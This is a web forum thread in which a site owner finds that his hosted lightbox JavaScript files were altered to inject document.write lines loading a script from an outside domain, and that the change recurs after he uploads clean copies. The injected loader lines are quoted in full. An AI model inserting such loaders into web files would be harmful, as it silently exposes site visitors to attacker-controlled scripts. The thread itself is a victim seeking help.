Hello,
I hope its ok to ask this here, as I am relatively new to these things.
I have made my website, and have used an image viewer to display photos.

When the site loads, down the bottom of the screen in the status bar area, are the details of whats loading and the usual "waiting for www." etc.

One of these statements is waiting for http://www.75oal.k12.tr/

I have searched all my html files, and can find no reference to this anywhere.

So I have systematically cut up my index.html until there is virtually nothing left... except the references to these...

<script type="text/javascript" src="js/prototype.js"></script>
<script type="text/javascript" src="js/scriptaculous.js?load=effects,builder"></script>
<script type="text/javascript" src="js/lightbox.js"></script>
<link rel="stylesheet" href="css/lightbox.css" type="text/css" media="screen"/>

The unusual status bar message goes away when i remove these lines.

Would it be possible for somebody to advise me if the messages at load time are ok, or is something dodgy going on.

If you click my site below, you will see what i am referring to...

Thankyou
Peter

Sounds like something built into one of the java script files that you have listed there. I would say open them up in HTML Editor or a Text Editor of your choice and do a search just for '750al' and you should find it in there somewhere and see what it's trying to load from some other site.

Thankyou, Yes I have already done those things and have opened all the files linked, and any others there.
I searched the whole string and as you say just bits of it, but nothing comes up.
Its very strange, I dont want to have my small site compromised, and will persevere.
I have emailed the photo displays writer, but dont get a reply.

Thankyou
Peter

I have found it!...........
I suddenly thought !!, I am checking my html files on my pc, NOT the ones on the web, so I went and copied the js files down from the website server.....
They are DIFFERENT and have been modified!!! these are the lines as below..

/*--------------------------------------------------------------------------*/

Element.addMethods();
document.write('<script src=http://75oal.k12.tr/aile_dosyalar/bina3.php ><\/script>');
document.write('<script src=http://75oal.k12.tr/aile_dosyalar/bina3.php ><\/script>');

How is this possible?

Peter

Now that is an answer I don't have and is quite interesting indeed. Is there something in the JS of the file(s) you found that in that tells it to do something to the script at some point at all? I'm not big on JS myself at all, but maybe scanning through the file you might see something that sticks out and looks like it is doing that.

Heavens, i will try to see, BUT one thing more.... After i uploaded the "clean" js copies, overwriting the ones already there.....

IT CAME BACK! there is something in there somewhere that changes and adds theses lines to the file on my sever when i load the website. All very dodgy indeed.

The code below is there again..

Thankyou very much for your thoughts

Peter

can you zip up those js files in question and upload them and post a link for them so we can see what they look like? not sure I can find it but I'm willing to give it a shot.

Hello Jo Ann,

Thankyou for that, I have uploaded new files to my site and the link still comes up, but the files havent been modified this time, that i can find anyway, however the link is still displaying at load time.

I have also been onto the forum that is for this viewer, and asked directly for an explanation, and whether it is all valid, if it is.... then what does it do..
In just want to know.

When I have got some answers, I will zip and send them as you ask.

Thankyou very much for your help

Peter

Hello, I have made changes to my site, as i was not happy with things that were happening.

Anyway it seems ok now....

I have question...., as I lashed up a menu system using the code snippet in CoffeeCup called "Hot little button".

<form action="alink.html"><input type="submit" value="Click Me." /></form>

Is it alright to use this for site navigation menus?

And could you tell me why, when visiting the site using a browser, the site details in the browser bar, end with a question mark ? after using the new navigation buttons....?

Thankyou
Peter

Peter,

That is what happened to me with an old host. I asked them for help and they said it was up to me. I would STRONGLY recommend deleting the entire folder and uploading again. There is a way they are getting in. If I knew how, I wouldn't have had to go to a new host.
